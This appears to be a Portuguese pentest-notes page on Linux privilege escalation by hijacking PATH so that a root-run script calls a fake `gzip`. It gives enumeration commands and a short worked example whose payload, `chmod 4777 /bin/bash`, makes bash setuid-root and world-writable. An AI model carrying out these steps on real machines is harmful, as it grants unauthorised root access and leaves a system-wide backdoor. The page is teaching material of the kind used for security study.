> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md).

# Sequestro de PATH (gzip) - Escalada de privilégios no Linux

## O que é

O abuso de sequestro do PATH ocorre em programas ou scripts privilegiados que chamam comandos sem caminhos absolutos. Se o invasor controla um diretório anterior em `PATH`, o processo privilegiado pode executar o binário do invasor. Esta página específica se concentra em **Sequestro de PATH (gzip)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Exemplos

### **Desvio de caminho (gzip)**

Listamos as permissões do sudo:

```bash
sudo -l
```

Encontramos um script executável como root usando `gzip` sem caminho absoluto.

<figure><img src="/files/cf871bcda4f47f90515a027cc64194d5bee84569" alt=""><figcaption></figcaption></figure>

#### **Criar um binário malicioso**

Criamos um `gzip` arquivo em `/tmp/`:

```bash
chmod 4777 /bin/bash
```

Modificamos a variável `PATH` para priorizar `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/58adcdfbe296962f0a1c4e6a4c6d0e7daccd72bd" alt=""><figcaption></figcaption></figure>

Executamos o script como root:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/73278a8939b1246223cd1a8eb219689413bb754b" alt=""><figcaption></figcaption></figure>


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